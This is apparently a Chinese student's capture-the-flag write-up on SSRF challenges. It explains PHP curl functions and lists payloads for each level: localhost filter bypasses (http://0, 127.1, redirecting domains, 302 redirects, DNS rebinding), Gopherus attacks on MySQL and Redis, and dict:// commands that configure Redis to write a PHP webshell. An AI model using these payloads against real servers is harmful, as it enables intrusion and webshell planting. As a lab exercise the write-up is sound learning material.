找了两道题玩玩,也是学到一些东西

踏上路途吧

刷b站看到有大佬在讲这个漏洞,正好打算学习一下java安全,这个就当了解一下java代码审计吧,为以后的学习找一下方向,寒假回去学一下java基础和Servlet开发,打算培养一下代码审计能力。
先开始刷SSRF,一直看文章头都昏了,练练题换一下脑子。
| 1 | <?php | 
首先还是先看一下这几个PHP的函数吧。
curl_init初始化新会话,返回 cURL 句柄,供 curl_setopt()、curl_exec() 和 curl_close() 函数使用。
curl_setopt — 设置 cURL 传输选项,
| 1 | curl_setopt(CurlHandle $handle, int $option, mixed $value): bool | 
为 cURL 会话句柄设置选项。
| 1 | handle | 
由 curl_init() 返回的 cURL 句柄。
| 1 | option | 
需要设置的CURLOPT_XXX选项。
| 1 | value | 
将设置在option选项上的值。
以下 option 参数的 value应该被设置成 bool 类型:
本题设置为
| CURLOPT_HEADER | 启用时会将头文件的信息作为数据流输出。 | 
|---|---|
| CURLOPT_RETURNTRANSFER | true将curl_exec()获取的信息以字符串返回,而不是直接输出。 | 
就是拼接命令使用curl_exec执行curl_setopt返回flag.php的内容即可。
| 1 | url=http://127.0.0.1/flag.php | 

| 1 | <?php | 
想较于上题添加了对localhost和127.0.0的过滤,我们尝试绕过。
| 1 | url=http://0/flag.php | 
还可以利用短网址302跳转到127.0.0.1
| 1 | url=http://z6b.cn/QfS2T/flag.php | 

| 1 | <?php | 
新建了正则匹配来限制只能使用http和https协议
| 1 | 127.0.0.1 | 

| 1 | <?php | 
这个过滤了1和0,限制http(s)协议
第一种方法
使用http://sudo.cc,这个域名是指向127.0.0.1的
url=url=http://sudo.cc/flag.php
第二种方法
302跳转
在自己的网站上面添加
| 1 | <?php | 
第三种方法
DNS-Rebinding(dns重绑定)
自己去ceye.io注册绑定127.0.0.1然后记得前面加r

| 1 | <?php | 
这里限制了传入的url 的 host 部分的长度必须小于等于5
第一种解法
| 1 | url=http://127.1/flag.php | 
127.1整好五位
第二种解法
| 1 | url=http://0/flag.php | 
0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

| 1 | <?php | 
限制长度小于等于3,用上面的方法
| 1 | url=http://0/flag.php | 
| 1 | <?php | 
利用302跳转和dns重绑定都可以。
在自己服务器上写个a.php文件内容如下
| 1 | <?php | 
| 1 | <?php | 
| 1 | http://ctf.@127.0.0.1/flag.php?show | 
打无密码的mysql
使用工具
| 1 | Give MySQL username: root | 

在url/check.php目录下POST变量returl的值
payload:要把下划线后的再url编码一次()
太长了,省略
| 1 | <?php | 
打redis
| 1 | python gopherus.py --exploit redis | 


还有可以用dict协议
探测端口6379
| 1 | url=dict://127.0.0.1:6379 | 
返回
| 1 | ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP +OK | 
看是否需要认证
| 1 | url=dict://127.0.0.1:6379/info | 
不需要认证
| 1 | url=dict://127.0.0.1:6379/config:set:dir:/var/www/html/ | 
再进行写马
| 1 | url=dict://127.0.0.1:6380/config:set:dbfilename:webshell.php | 
| 1 | url=dict:/127.0.0.1:6380/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e" | 
payload没打通,再去沉淀一下。
题目都是非常简单基础,主要就是绕过和工具的利用,以后还是要多练比赛题目来进一步提升。